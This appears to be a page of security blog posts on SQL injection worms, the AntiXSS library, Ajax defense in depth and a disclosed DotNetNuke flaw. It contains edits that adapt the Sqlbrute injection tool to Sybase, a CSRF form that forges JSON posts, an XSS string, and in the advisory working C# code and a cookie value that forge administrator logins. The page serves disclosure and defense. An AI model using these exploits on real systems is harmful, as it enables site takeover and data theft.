RSS Feed

SQL Injection Worms for Fun and Profit - slides and demo

Well, I'm offstage now having just presented my talk on "SQL Injection for Fun & Profit" at Blackhat in Las Vegas. One of the main aims of the talk was to provide more coverage on the mass SQL injection attacks that started earlier this year (and are still going on). The Internet Storm Center has some good discussion and coverage on this topic from earlier this year. The other aim was to point out some of the ways it could have, and probably will be in the near future, much much worse.

You can find a copy of the slides that were presented here, as well as a flash video of the demo that was done of the self replicating SQL Injection worm I wrote for this talk.


AntiXSS updated

I've just uploaded an update to AntiXSS, based on feedback we've received from developers looking at the library. This can be found on GitHub. I have also updated the original AntiXSS announcement post to point to the new release.

Since the release of the library, the two main areas of feedback we got from users of the library were:

  • Why is it only Java 5 and above? We have a lot of Java 1.4 code.
  • Why are the methods all named with UpperCamelCase? We use lowerCamelCase for all of our method names.

In brief, we've addressed the first issue but not the second in this release. You should find that AntiXSS will work with your Java 1.4 code as we've changed the underlying functionality to remove the dependency on Java 5. As for the method names, those are the names used in the Microsoft Anti-Cross Site Scripting (AntiXSS) v1.5 library for .NET applications of which this library is a port. As such, we've preserved the API as is, and think it would be counter productive to rename the methods, have duplicate methods with different capitalisation, or to ship an adapter interface with lowerCamelCase names.

Any feedback, bug reports, or reports of usage appreciated.


Adapting Sqlbrute

Current version of Sqlbrute supports Microsoft SQL Server and Oracle, however the similarities between Microsoft SQL Server and Sybase make it easy to adapt to Sybase with a few minor tweaks. Make the following changes to the current version and you should be able to brute Sybase as easily as SQL Server:

1) Line 484:
foo = "xtype='u' and "


foo = "type='U' and "

2) Line 533:
predblike = "%3Bif EXISTS (select name from " + self.database + "sysobjects where xtype = 'u' and name like '"


predblike = "%3Bif EXISTS (select name from " + self.database + "sysobjects where type = 'U' and name like '"

3) Line 558:
predbequals = "%3Bif EXISTS (select name from " + self.database + "sysobjects where xtype = 'u' and name = '"


predbequals = "%3Bif EXISTS (select name from " + self.database + "sysobjects where type = 'U' and name = '"

4) Line 583:
foo = "xtype='u' and "


foo = "type='U' and "

Essentially, we're just changing the "sysobjects" column named "xtype" to "type" in order to be Sybase compatible. Justin will be releasing an updated version of Sqlbrute with Sybase support in the near future. For more information on Sybase system tables, go here. Enjoy!


Web 2.0 and "Defense in Depth"

I was recently asked by a client for some technical countermeasures to consider as they prepare to build an Ajax enabled web application (aside from the more fundamental countermeasures like rigid output encoding and request tokenization to defend against XSS and XSRF respectively). What follows are a few suggestions I provided for implementing "defense in depth" within their Ajax enabled (Web 2.0) application.

  • Specify the Appropriate Content-Type Response Header

By default, most HTTP responses generated by a web component include a "Content-Type" header value of "text/html" or "text/plain". These responses are treated by a web browser as HTML and get loaded in the browser DOM.

When rendering responses for Ajax requests, non-HTML content (like XML or JSON) is typically returned, so it is important to specify the correct "Content-Type" HTTP response header. For example, XML messages returned by Ajax calls should have a "Content-Type: text/xml" header. These responses will not be loaded into the browser DOM (based on their content-type), which can potentially thwart XSS attacks in the absence of other controls like proper output encoding.

  • Require POST Method for Ajax Calls Returning User Data

Any data rendered by an Ajax GET request is potentially susceptible to JavaScript Hijacking if there are no controls specifically designed to thwart the attack (such as an XSRF token).

JavaScript Hijacking attacks rely on use of the <SCRIPT> tag "SRC" attribute, which is unable to make POST requests. As such, accepting only POST requests for Ajax calls that return user (or otherwise sensitive) data is generally a good idea.

  • Check Content-Type on POST Requests

The browser "same origin" security policy is a key mechanism used to thwart malicious use of the XMLHttpRequest (XHR) object at the browser level. Standard HTML forms are not restricted by the same origin policy, so verifying that Ajax requests are made using the XHR object and not an HTML form can potentially buy some added safety.

Consider the following HTML form, which can be used to forge a JSON post (a similar technique can be used to forge XML requests):

<FORM TARGET="/ajax/dispatcher" METHOD="POST">
<INPUT TYPE="hidden" NAME='{"action": "sendEmail", "recipient": "[email protected]", "messageText": "Hi George! ' VALUE=')"}'>

The results of the above form POST are shown below. As you can see, to the server the request will look like a valid JSON request (which is typically assumed to have been made using the XHR).

{"action": "sendEmail", "recipient": "[email protected]", "messageText": "Hi George! =)"}

By default, POST requests made using the XHR browser object will have a Content-Type header of "application/xml". A standard HTML form submission will typically have a Content-Type header of "application/x-www-form-urlencoded" or "multipart/form-data", so checking this value (server-side) can be one way to help ensure the request was not issued via a rogue 3rd party HTML form.

  • Host 3rd Party Content in a Separate IFrame

When serving up 3rd party content, the developer should anticipate the possibility of embedded malicious script code.

Consider a typical RSS feed. The importance of HTML encoding RSS data elements when being rendered in the page is generally well understood; however certain elements (such as the <link> element) can pose additional challenges.

Normally the <link> RSS element is rendered within the "href" attribute value of an HTML "A" tag. Depending on how the data is encoded, XSS is often still possible since an exploit string such as "javascript:alert('XSS')" will be unaffected by most native HTML encoding mechanism (like the built-in Server.HtmlEncode method in ASP.NET).

In addition to stringent encoding techniques, a good secondary defense-in-depth policy to prevent these attacks is to render all 3rd party content (i.e RSS, JavaScript widgets, etc) in a separate IFrame. Serving un-trusted content within a separate IFrame will not prevent a malicious script from executing, but it will prevent the malicious script from accessing application data via the DOM since the IFrame will have its own DOM context.

This is by no means intended to be a complete list of defensive Web 2.0 suggestions, so feel free to comment with additional thoughts.


DotNetNuke Default Machine Key Advisory

This morning we released an advisory to bugtraq regarding an exposure in DotNetNuke that can be used to trivially forge authentication tokens and impersonate arbitrary users (including the built in admin account). The vendor was notified back on March 3, 2008 and has now corrected the issue with the release of DotNetNuke version 4.8.2, so we have made the advisory public. This issue affects DotNetNuke versions 4.8.1 and below. Additional information can be found in the official DotNetNuke Security Bulletin.


DotNetNuke (DNN) is an open-source Web Application Framework used to create and deploy websites. The default web.config files distributed with DNN include an embedded Machine Key value (both ValidationKey and DecryptionKey). Under certain circumstances these values may not be updated during the installation/upgrade process, resulting in the ability for an attacker to forge arbitrary ASP.NET forms authentication tickets that can then be used to circumvent all security within a DNN installation. This issue was confirmed to affect the production instance of DNN used on the DNN Homepage (

Technical Details

The default web.config files distributed with DotNetNuke (DNN) include the following embedded ValidationKey and DecryptionKey values:


Normally, these values are overwritten by the web-based installation wizard during the initial website setup process. Specifically, the Config.UpdateMachineKey() routine is called during the initial installation process. Under certain scenarios where the web server user account does not have access to update the web.config file during installation, the default value will fail to be updated resulting in a DNN installation that uses these values for authentication token encryption and validation. It is unclear how widespread this issue could potentially be, however it was confirmed that the production instance of DNN used on the DNN Homepage ( was affected by this issue.

Proof-of-Concept Exploit

This vulnerability is trivially exploited against any DNN installation using the default ValidationKey and DecryptionKey values. In order to exploit this issue, two forged cookies (named ".DOTNETNUKE" and "portalroles") must be generated. The ".DOTNETNUKE" cookie is used by the ASP.NET Forms Authentication Provider to identify the authenticated user, while the "portalroles" cookie is used by DNN to store role memberships for the current authenticated user.

The following c# code excerpt, when run from an ASP.NET web form configured to use the default ValidationKey and DecryptionKey values, can be used to generate the two required FormsAuthenticationTicket values required to exploit this issue:

// Step 1: Generate the two FormsAuthenticationTickets

FormsAuthenticationTicket ticket1 = new FormsAuthenticationTicket("admin", true, 10000);
FormsAuthenticationTicket ticket2 = new FormsAuthenticationTicket(2, "admin", System.DateTime.Now, System.DateTime.MaxValue, true, "Registered Users;Subscribers;Administrators");

// Step 2: Encrypt the FormsAuthenticationTickets

string cookie1 = ".DOTNETNUKE=" + FormsAuthentication.Encrypt(ticket1);
string cookie2 = "portalroles=" + FormsAuthentication.Encrypt(ticket2);

The two cookie strings produced by the above code, as shown in the request below, can be used to obtain administrator level access to DNN installations affected by this issue.

NOTE: The exact cookie values shown below can be used for testing & exploits.

GET /default.aspx HTTP/1.1
Cookie: portalroles=CB14B7E2553D9F6259ECF746F2D77FD15B05C5A10D98225339D6E282EFEFB3DA



DotNetNuke v4.8.2 has been released by DotNetNuke Corporation, which specifically addresses this issue. Additionally, check your web.config file to ensure that the validationkey value is not set to "F9D1A2D3E1D3E2F7B3D9F90FF3965ABDAC304902".